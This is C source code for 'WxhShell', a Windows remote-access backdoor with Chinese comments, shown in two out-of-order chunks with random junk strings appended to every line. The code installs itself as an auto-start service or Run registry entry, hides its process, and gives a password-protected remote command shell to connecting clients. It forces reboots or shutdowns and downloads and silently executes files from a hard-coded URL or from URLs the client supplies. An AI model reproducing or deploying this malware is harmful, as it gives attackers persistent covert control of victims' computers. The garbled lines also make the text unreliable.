  case 'd': { yUwgRj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bTp2)a^G  
    if(Boot(SHUTDOWN)) [ c[MQA0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 166c\QO  
    else { ]pTw]SK  
    closesocket(wsh); .ASwX   
    ExitThread(0); m>dcb 6B+g  
    } y]f^`2L!8>  
    break; fYM6wYJ  
    } (H%d]  
  // 获取shell CVG>[~}(9'  
  case 's': { G5y  
    CmdShell(wsh); cGzYW~K  
    closesocket(wsh); nYt\e]3  
    ExitThread(0); T&"dBoUq>G  
    break; `G0rF\[  
  } @"Fp;Je\bN  
  // 退出 w[oQ}5?9'  
  case 'x': { P`I G9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (,c?}TP  
    CloseIt(wsh); l~!fQ$~  
    break; C!k9JAa$Z  
    } yZ)aKwj%U  
  // 离开 +xBK^5/x  
  case 'q': { |QNLO#$ -  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O| 6\g>ew  
    closesocket(wsh); 05VOUa*pb  
    WSACleanup(); X+E\]X2  
    exit(1); Dke($Jr{  
    break; V0 +k3H  
        } + >gbZ-S  
  } nf.:5I.  
  } @))}\:  
Etc?;Z[F#  
  // 提示信息 %i -X@.P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^lc}FN  
} :`u&TXsu  
  } K[>@'P}y  
UtBlP+bE?y  
  return; lH@E%  
} }A)36  
0Q- Mxcj  
// shell模块句柄 ENx@Ex  
int CmdShell(SOCKET sock) ~{,vg4L  
{ }8F$& AFt  
STARTUPINFO si; >yA,@%X  
ZeroMemory(&si,sizeof(si)); ^8oc^LOa~2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KWh M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u ?G\b{$m  
PROCESS_INFORMATION ProcessInfo; v;bP8)mI  
char cmdline[]="cmd"; 3ES[ N.V#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jo;uRl  
  return 0; ZG/8Ds  
} Ei9_h  
i B!hEbz  
// 自身启动模式 =Kt9,d08x  
int StartFromService(void) ]O7.ss/2  
{ NBqV0>vR  
typedef struct ZkB6bji  
{ |;.Pj 3)-  
  DWORD ExitStatus; q 5v?`c  
  DWORD PebBaseAddress; <f.>jjwFE  
  DWORD AffinityMask; s\Pt,I@Y_  
  DWORD BasePriority; [cQ<dVaTX  
  ULONG UniqueProcessId; B=gsd0^]  
  ULONG InheritedFromUniqueProcessId; ,v}?{p c  
}   PROCESS_BASIC_INFORMATION; XHZ: mLf  
YD='M.n\  
PROCNTQSIP NtQueryInformationProcess; +r-dr>&H@  
Rg?{?qK\K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MB8SB   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; # NN"(I  
^?s~Fk_V  
  HANDLE             hProcess; ~C"k$;(n  
  PROCESS_BASIC_INFORMATION pbi; :e&n.i^  
gVnws E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KM6N'x^z  
  if(NULL == hInst ) return 0; Y1fy2\<'  
5&?KW)6 Rz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (3N"oE.b]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .A*VLF*m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ia^%Wg7  
5qd_>UHp  
  if (!NtQueryInformationProcess) return 0; *TM;trfz  
ksu}+i,a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #6N+5Yx_[  
  if(!hProcess) return 0; AvrL9D  
'wz\tT^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KM/U?`6>:  
[*9YIjn  
  CloseHandle(hProcess); gv#c~cX]  
Xb=2/\}|f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f8LrDR  
if(hProcess==NULL) return 0; Z&dr0w8  
\o:ELa HY  
HMODULE hMod; $"sq4@N  
char procName[255]; *gd?>P7\0  
unsigned long cbNeeded; vnC<*k4&v  
RGl=7^M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p<=(GY-  
v@fe-T&0  
  CloseHandle(hProcess); $(@o$%d  
gV"qV   
if(strstr(procName,"services")) return 1; // 以服务启动 `dv}a-Q)c  
/ojO>Y[<   
  return 0; // 注册表启动 Sa;<B:|  
} t;.^K\S4  
@K$VV^wp  
// 主模块 %@lV-(5q  
int StartWxhshell(LPSTR lpCmdLine) Lj&1K~U  
{ n5Nan  
  SOCKET wsl; :DdBn.  
BOOL val=TRUE; ]6t]m2~\  
  int port=0; k_D4'(V:b  
  struct sockaddr_in door; 4<G?  
7Wwp )D  
  if(wscfg.ws_autoins) Install(); ~A`&/U  
HzRX$IKB3(  
port=atoi(lpCmdLine); ?Oy'awf_  
E0"10Qbi  
if(port<=0) port=wscfg.ws_port; W.,% 0cZ  
R^J.?>0  
  WSADATA data; ,4^9cFVo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Iv$:`7|crX  
q&XCX$N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M.ZEqV+k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jWH{;V&ZV  
  door.sin_family = AF_INET; 4F05(R8k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mje<d"bW  
  door.sin_port = htons(port); 1Pk mg%+  
=\~E n5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r0\cc6  
closesocket(wsl); cGgM8  
return 1; 1~}m.ER  
} )uQ-YC('0  
(^sh  
  if(listen(wsl,2) == INVALID_SOCKET) { L`9TB"0R+  
closesocket(wsl); UL86-R!  
return 1;  L5"8G,I  
} '[Mlmgc5  
  Wxhshell(wsl); #yW.o'S+  
  WSACleanup(); YfE>Pn'r  
L([E98fo  
return 0; 9z5\*b s  
v5(q) h  
} !p }`kG  
H>60D|v[  
// 以NT服务方式启动 ^)&Ly_xrU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A <4_DVd@@  
{ p"Ot5!F >  
DWORD   status = 0; Jy \2I{I'  
  DWORD   specificError = 0xfffffff; G 9DJa_]X  
9 YP*f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -O'{:s~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )!tCC-Cr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B\Xh 3l]+j  
  serviceStatus.dwWin32ExitCode     = 0; F-_%>KJS  
  serviceStatus.dwServiceSpecificExitCode = 0; ;wJ~haC  
  serviceStatus.dwCheckPoint       = 0; $o]r ]#B+  
  serviceStatus.dwWaitHint       = 0; :w@F?:C  
^vJ"-{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7OB%A&  
  if (hServiceStatusHandle==0) return; v#  
v`y6y8:>  
status = GetLastError(); Z+g1~\  
  if (status!=NO_ERROR) !C Vuw  
{ z0#-)AeS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HbcOTd)=5  
    serviceStatus.dwCheckPoint       = 0; fJaubDxa  
    serviceStatus.dwWaitHint       = 0; J.#(gFBBl\  
    serviceStatus.dwWin32ExitCode     = status; ]b3/Es+  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,eR8 ~(`=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6SE6AL<b  
    return; k!5m@'f  
  } /\ytr%7,'  
&~RR&MdZ2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4|`Yz%'  
  serviceStatus.dwCheckPoint       = 0; )h#]iGVN}  
  serviceStatus.dwWaitHint       = 0; rJ'/\Hh5P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); puOC60zI  
} K*~]fy  
_@Y"$V]=Vt  
// 处理NT服务事件,比如:启动、停止 MR`:5e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1%%'6cWWu  
{ WzjL-a(  
switch(fdwControl) mw_ E&v  
{ VZ$=6CavH  
case SERVICE_CONTROL_STOP: ^$!987"  
  serviceStatus.dwWin32ExitCode = 0; W4(v6>5l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sONBQ9  
  serviceStatus.dwCheckPoint   = 0; o/C(4q6d  
  serviceStatus.dwWaitHint     = 0; wu A^'T  
  { )l_@t(_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $f#agq_  
  } ~4Pc_%&i  
  return; Ht#@'x  
case SERVICE_CONTROL_PAUSE: Cezh l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oK2pM18  
  break; &uv0G'"\  
case SERVICE_CONTROL_CONTINUE: U[R@x`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2R]&v;A  
  break; J{`eLmTu  
case SERVICE_CONTROL_INTERROGATE: !22yvT.;[  
  break; SyO79e*t  
}; h{k_6ym  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h4/X 0@l`  
} d6`OXTD  
3\AM=`  
// 标准应用程序主函数 .e @>   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LOr|k8tL%  
{ b;#\~( a  
3o*FPO7?  
// 获取操作系统版本 6k"P&AD  
OsIsNt=GetOsVer(); IS BV%^la|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V  }>n  
RsW9:*R  
  // 从命令行安装 Rs*v m  
  if(strpbrk(lpCmdLine,"iI")) Install(); $<|ocUC7  
X eoJ$PfT  
  // 下载执行文件 9XX>A*  
if(wscfg.ws_downexe) { K^zDNIQU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !Vheq3"q/  
  WinExec(wscfg.ws_filenam,SW_HIDE); RW_q~bA9  
} 1S0pd-i  
k;I  &.H  
if(!OsIsNt) { ubYG  
// 如果时win9x,隐藏进程并且设置为注册表启动 y:d{jG^  
HideProc(); X<]qU3k5  
StartWxhshell(lpCmdLine); XX6 T$pA6  
} :~zv t  
else /4$4h;_8  
  if(StartFromService()) M\oTZ@  
  // 以服务方式启动 Sw8kIC  
  StartServiceCtrlDispatcher(DispatchTable); WA$ JI@g  
else ^N{ltgQY  
  // 普通方式启动 aE|OTm+@9;  
  StartWxhshell(lpCmdLine); N8v'70  
-kpswP  
return 0; ""{|3XJe  
} Wkzs<y"  
BI2; ex  
~>5#5!}@*  
at|g%$%  
=========================================== 6_gnEve h  
15{Y9!  
GKiukX$'  
~ttY(w CV  
g> S*<  
4f^C\i+q  
" pI;NL [  
TeQNFo^_8  
#include <stdio.h> 6Pn8f  
#include <string.h> p'n4)I2#  
#include <windows.h> 4v'A\~ZU  
#include <winsock2.h> ^V3v{>D>  
#include <winsvc.h> 0)!Ll*L!p  
#include <urlmon.h> &\C [@_  
VR5fqf|*  
#pragma comment (lib, "Ws2_32.lib") (*\jbK  
#pragma comment (lib, "urlmon.lib") i)ASsYG!  
k+^'?D--'P  
#define MAX_USER   100 // 最大客户端连接数 Gi FXX  
#define BUF_SOCK   200 // sock buffer Q;u SWt<{  
#define KEY_BUFF   255 // 输入 buffer U__(; /1;  
ZJ,cQ+fn  
#define REBOOT     0   // 重启 Thr*^0$C  
#define SHUTDOWN   1   // 关机 {g6Qv-  
8K9$,Ii  
#define DEF_PORT   5000 // 监听端口 Ucdj4[/,h  
T]T;$  
#define REG_LEN     16   // 注册表键长度 }_ mT l@*  
#define SVC_LEN     80   // NT服务名长度 4~z?"  
?BA^YF  
// 从dll定义API PX(p X>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?=;qK{)37  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^Q+i=y{W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m~#%Q?_ %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &o3K%M;C?  
BxK^?b[E8  
// wxhshell配置信息 N#C1-*[C  
struct WSCFG { Q@@v1G\  
  int ws_port;         // 监听端口 _7T@5\b:;  
  char ws_passstr[REG_LEN]; // 口令 H ?M/mGP  
  int ws_autoins;       // 安装标记, 1=yes 0=no o*g|m.SjL  
  char ws_regname[REG_LEN]; // 注册表键名 $2~\eG=u H  
  char ws_svcname[REG_LEN]; // 服务名 vhuw &.\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ULH0'@BJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TBrGA E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }MbH3ufC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q,h7Sk*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C1EtoOv K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 76cG90!Z  
X+k}2HvNG  
}; 8 ho[I]  
qU6nJi+-I  
// default Wxhshell configuration US [dkbKo  
struct WSCFG wscfg={DEF_PORT, Gfp1mev   
    "xuhuanlingzhe", `qVjwJ!+  
    1, @4$\ 5 %j  
    "Wxhshell", )~6zYJ2  
    "Wxhshell", {nT^t Aha  
            "WxhShell Service", J?UQJ&!@O  
    "Wrsky Windows CmdShell Service", ;6ecrQMw&  
    "Please Input Your Password: ", eM7Bc4V  
  1, `#-P[q<v-  
  "http://www.wrsky.com/wxhshell.exe", sbj(|1,ac  
  "Wxhshell.exe" 2F#q I1  
    }; bI.t <;  
^D`v3d  
// 消息定义模块 W1B)]IHc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9[c%J*r   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8X|r4otn4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2`GE  
char *msg_ws_ext="\n\rExit."; so$(_W3E,  
char *msg_ws_end="\n\rQuit."; 0Uk@\[1ox  
char *msg_ws_boot="\n\rReboot..."; jOpcV|2  
char *msg_ws_poff="\n\rShutdown..."; 9+s.w25R  
char *msg_ws_down="\n\rSave to "; ml|W~-6l  
>odbOi+X  
char *msg_ws_err="\n\rErr!"; me6OPc;:!  
char *msg_ws_ok="\n\rOK!"; cRd0S*QN2  
ps .]N   
char ExeFile[MAX_PATH]; 'J&f%kx"  
int nUser = 0; v[plT2"s  
HANDLE handles[MAX_USER]; mGUO6>g  
int OsIsNt; OA/WtQ5  
|tR OL 9b  
SERVICE_STATUS       serviceStatus; v:Tzv^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r_e7a6  
uEyH2QO  
// 函数声明 gBh;=vOD  
int Install(void); I+>%uShm  
int Uninstall(void); $N :Vo(*  
int DownloadFile(char *sURL, SOCKET wsh); N,2s?Y_!  
int Boot(int flag); V7G7&'  
void HideProc(void); )irRO8  
int GetOsVer(void); Y HSYu  
int Wxhshell(SOCKET wsl); "8^5>EJWv  
void TalkWithClient(void *cs); 'TH15r@  
int CmdShell(SOCKET sock); 6hZ@;Q=b  
int StartFromService(void); G7--v,R1x  
int StartWxhshell(LPSTR lpCmdLine); ZCKka0*  
\<}&&SuH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f7h*Vu`>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /!^&;$A'  
Hqnxq  
// 数据结构和表定义 Q+b D}emd  
SERVICE_TABLE_ENTRY DispatchTable[] = +aF}oA&X[  
{ oAWzYu(v  
{wscfg.ws_svcname, NTServiceMain}, 3d<HN6&U  
{NULL, NULL} L-B<nl  
}; M?&h~V1OI~  
%sHF-n5P  
// 自我安装 E9?ph D  
int Install(void) r]3'74j:  
{ J psPNa  
  char svExeFile[MAX_PATH]; O+ }qQNe<  
  HKEY key; "S 3wk=?4  
  strcpy(svExeFile,ExeFile); V[-jD8=' 3  
lEHzyh}2k  
// 如果是win9x系统,修改注册表设为自启动 :l|%17N  
if(!OsIsNt) { '47P|t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2I*;A5$N1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fDG0BNLY  
  RegCloseKey(key); w =. Fj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [mEql,x3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U=hlu  
  RegCloseKey(key); Y"-^%@|p  
  return 0; k} ]T;|h]  
    } n,B,"\fw  
  } "#(T  
} P/EM :  
else { J|'7_0OAx  
Ut$;ND.-  
// 如果是NT以上系统,安装为系统服务 kP/M< X"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v1a6?-  
if (schSCManager!=0) gX0R)spg  
{ \(t@1]&jw  
  SC_HANDLE schService = CreateService u7?$b!hG^C  
  ( rQ7+q;[J  
  schSCManager, ?wnzTbJN  
  wscfg.ws_svcname, )_/5*Ly@  
  wscfg.ws_svcdisp, v3v[[96p  
  SERVICE_ALL_ACCESS, uV 7BK+[O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GnP|x}YM  
  SERVICE_AUTO_START, s21wxu:  
  SERVICE_ERROR_NORMAL, 7^w >Rj  
  svExeFile, NPFpq,P>  
  NULL, vN3Zr34  
  NULL, x\Z'2?u}  
  NULL, S"Zp D.XX  
  NULL, pp7$J2s+j  
  NULL 5]M>8ll  
  ); i1S>yV^l  
  if (schService!=0) +3KEzo1=)  
  { uYE`"/h,1e  
  CloseServiceHandle(schService); ChCrL [2  
  CloseServiceHandle(schSCManager); 0ez(A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SM`w;?L:?  
  strcat(svExeFile,wscfg.ws_svcname); Duc#$YfGm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e["2QIOe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =m5SK5vLKT  
  RegCloseKey(key); gn3jy^5  
  return 0; Nbp!teH6  
    } ?B :a|0pf  
  } 'Ysx=  
  CloseServiceHandle(schSCManager); JPGzrEaZ  
} 7"8hC  
} +[5.WC7J  
I4&::y^ C  
return 1; qIld;v8w"g  
} -WYAN:s  
P;k0W>~k  
// 自我卸载 z )HD`Ho  
int Uninstall(void) i86>]  
{ E*jP87g  
  HKEY key; ?s:d[To6  
44-R!  
if(!OsIsNt) { <vXGi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8P=o4lO+  
  RegDeleteValue(key,wscfg.ws_regname); gks{\H]  
  RegCloseKey(key); CZ nOui  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $z+8<?YD  
  RegDeleteValue(key,wscfg.ws_regname); cK 06]-Y  
  RegCloseKey(key); =b/L?dR.-  
  return 0; -&<Whhs.@  
  } ^a#X9  
} Offu9`DiZ  
} Me=CSQqf<  
else {  Br` IW  
WD1G&5XP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,Jd ',>3  
if (schSCManager!=0) W^s ;Bi+Nw  
{ )n,P"0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zA[0mkC?$  
  if (schService!=0) %rxO_  
  { H/Llj.-jg  
  if(DeleteService(schService)!=0) { g&`pgmUX  
  CloseServiceHandle(schService); fJ ,1Ef;Z  
  CloseServiceHandle(schSCManager); lGVEpCS}  
  return 0; L(U"U#QZ  
  } 9]e V?yoA8  
  CloseServiceHandle(schService); $ aUo aI  
  } 48Mpf=f`  
  CloseServiceHandle(schSCManager); :rg5Kt&  
} 7e<c$t#H  
} p ZZc:\fJ  
_r2J7&  
return 1; 7^g&)P  
} x:QgjK  
;$z$@@WC  
// 从指定url下载文件 P LueVz  
int DownloadFile(char *sURL, SOCKET wsh) e#E2>Bj;  
{ lEV]4 t_H  
  HRESULT hr; 9 -rNw?7  
char seps[]= "/"; 0=K9`=5d0  
char *token; rta:f800z  
char *file; -N"&/)  
char myURL[MAX_PATH]; 0@EwM  
char myFILE[MAX_PATH]; qM.bF&&Go  
%DdJ ^qHI  
strcpy(myURL,sURL); v{A KEX*  
  token=strtok(myURL,seps); eGX %KT"O  
  while(token!=NULL) .j-IX1Sa  
  { ezMI \r6  
    file=token; =MvjLh"s  
  token=strtok(NULL,seps); ,~"$k[M  
  } 3K_A<j:  
PTEHP   
GetCurrentDirectory(MAX_PATH,myFILE); f-%NaTI  
strcat(myFILE, "\\"); [w -l?  
strcat(myFILE, file); KjQR$-  
  send(wsh,myFILE,strlen(myFILE),0); v.]Q$q^  
send(wsh,"...",3,0); l \sU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3JVK  
  if(hr==S_OK) 4 M(-xl?  
return 0; ,13Lq-  
else ;f"0~D2  
return 1; Yboiw y,n  
[3@):8  
} A$w4PVS  
!U5Wr+83  
// 系统电源模块 ,%)6jYHRw  
int Boot(int flag) T,VY.ep/  
{ &cu lbcz  
  HANDLE hToken; )4&cph';  
  TOKEN_PRIVILEGES tkp; >hr{JJe  
rp0ZvEX  
  if(OsIsNt) { d`F&aC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4vwTs*eB `  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rb{U+/gq  
    tkp.PrivilegeCount = 1; X#e1KZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MzL1Bh!M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cm\6tD  
if(flag==REBOOT) { 'CN|'W)g7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B4mR9HMh  
  return 0; V,G|k!!  
} QPfc(Z  
else { ^6_Cc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s%W<dDINl  
  return 0; sx`O8t  
} QV&D l_  
  } 67VT\f  
  else { di>cMS 4 c  
if(flag==REBOOT) { L*~J%7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 19j+lCSvH  
  return 0; 1Tm^  
} T16{_  
else { /, !B2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kJ Mf  
  return 0; Ba/Yl  
} g2T -TG'd  
} [!U?}1YQ  
.;*s`t  
return 1; - h9?1vc7  
} oD$J0{K6  
>`%'4<I  
// win9x进程隐藏模块 J;f!!<l\  
void HideProc(void) ,Bal  
{ 3fh8$A  
>J>b>SU=-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yn/rW$  
  if ( hKernel != NULL ) %,k] [V  
  { ^)W[l!!<)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ()3O=!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iX4Iu3  
    FreeLibrary(hKernel);  z~>pVs  
  } |K|h+fgG6*  
sn?]n~z  
return; _`pD`7:aI^  
} H[='~%D  
I;1lX L  
// 获取操作系统版本 ?A )hN8  
int GetOsVer(void) Jyqc2IH  
{ [/BE8]M ~  
  OSVERSIONINFO winfo; Y>&Ew*Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z"uY}P3  
  GetVersionEx(&winfo); S!sqbLrBn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W<E47  
  return 1; h@LHRMO  
  else jWYV#ifs2  
  return 0; qvv2O1c"A  
} r{rQu-|.  
Uv4`6>Ix  
// 客户端句柄模块 Qx'`PNU9\  
int Wxhshell(SOCKET wsl) Y]3>7q%  
{ izx#3u$P  
  SOCKET wsh; 37RLE1Yf  
  struct sockaddr_in client; iT)z_  
  DWORD myID; HuV J\%.  
R%c SJ8O#  
  while(nUser<MAX_USER) XB_B4X1R  
{ Jzp#bgq}|  
  int nSize=sizeof(client); Cj?L@%"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RJ$7XCY%`*  
  if(wsh==INVALID_SOCKET) return 1; FSRj4e1y1  
Kk{<@v)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u SR~@Lj ~  
if(handles[nUser]==0) NoJ`6MB  
  closesocket(wsh); NMi45y(Y  
else bcZf>:gVf  
  nUser++; jr`Ess  
  } -c}, :G"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +(+Itmx2&  
7H|$4;X^  
  return 0; E=#0I]v[  
} %bdjBa}  
"1-}A(X  
// 关闭 socket _IdRF5<4  
void CloseIt(SOCKET wsh) HWVtop/  
{ >N.]|\V  
closesocket(wsh); -@Uqz781  
nUser--; q/4 [3h  
ExitThread(0); \~5C7^_  
} S*sT] J`!  
!Lh^oPT"I  
// 客户端请求句柄 Uk,g JR  
void TalkWithClient(void *cs) eBJUv]o %  
{ A.5i"Ci[ie  
/AQMFx4-5  
  SOCKET wsh=(SOCKET)cs; oy;K_9\  
  char pwd[SVC_LEN]; =2 *rA'im  
  char cmd[KEY_BUFF]; >|Cw\^  
char chr[1]; R+7oRXsu  
int i,j; yZWoN&  
1u|Rl:Q  
  while (nUser < MAX_USER) { ZZyDG9a>7  
j6g[N4xr  
if(wscfg.ws_passstr) { # (- Qx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %~QO8q_7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LbII?N8`N  
  //ZeroMemory(pwd,KEY_BUFF); T t>8?  
      i=0; $\? yAE  
  while(i<SVC_LEN) { Rd>B0;4  
a:_I  
  // 设置超时 M5trNSL&u  
  fd_set FdRead; Tdc3_<1  
  struct timeval TimeOut; ^7.h%lSg  
  FD_ZERO(&FdRead); \fjMc }'  
  FD_SET(wsh,&FdRead); dqX;#H}h  
  TimeOut.tv_sec=8; X~xd/M=9^  
  TimeOut.tv_usec=0; `w.AQ?p@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {Ixg2=E\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X7g3  
8Mbeg ,P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~I(Hc.Q  
  pwd=chr[0]; x+G0J8cW  
  if(chr[0]==0xd || chr[0]==0xa) { & V)6!,rb  
  pwd=0; ~QZ"Z tu  
  break; 10#f`OPC  
  } (4%YHS8  
  i++; Ve/xnn]'  
    } 5~yNqC  
8+Bu+|c%f  
  // 如果是非法用户,关闭 socket OK{xuX8u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^`D=GF^tX  
} L.=w?%:H=  
u1c%T@w>Lz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1HPx|nmE]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); leCVK.  
ov\HsTeZ  
while(1) { o5n^!gi4  
GTJ{h  
  ZeroMemory(cmd,KEY_BUFF); {bPV)RL:  
HQ9X7[3  
      // 自动支持客户端 telnet标准   W<<9y  
  j=0; ~RD+.A  
  while(j<KEY_BUFF) { aSP4a+\*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uZi.HG{<)  
  cmd[j]=chr[0]; &,.Y9; b  
  if(chr[0]==0xa || chr[0]==0xd) { Ei2%DMN7)  
  cmd[j]=0; U/NBFc:[y:  
  break; JO'>oFv_W  
  } c )7j QA  
  j++; :h1pBEiH  
    } zW8*EE+,  
Hp|}~xjn  
  // 下载文件 v0Ir#B,[H  
  if(strstr(cmd,"http://")) { ]p!Gt,rYq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -TV?E%r  
  if(DownloadFile(cmd,wsh)) cc44R|Kr$$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cUO<.  
  else {ccIxL /~  
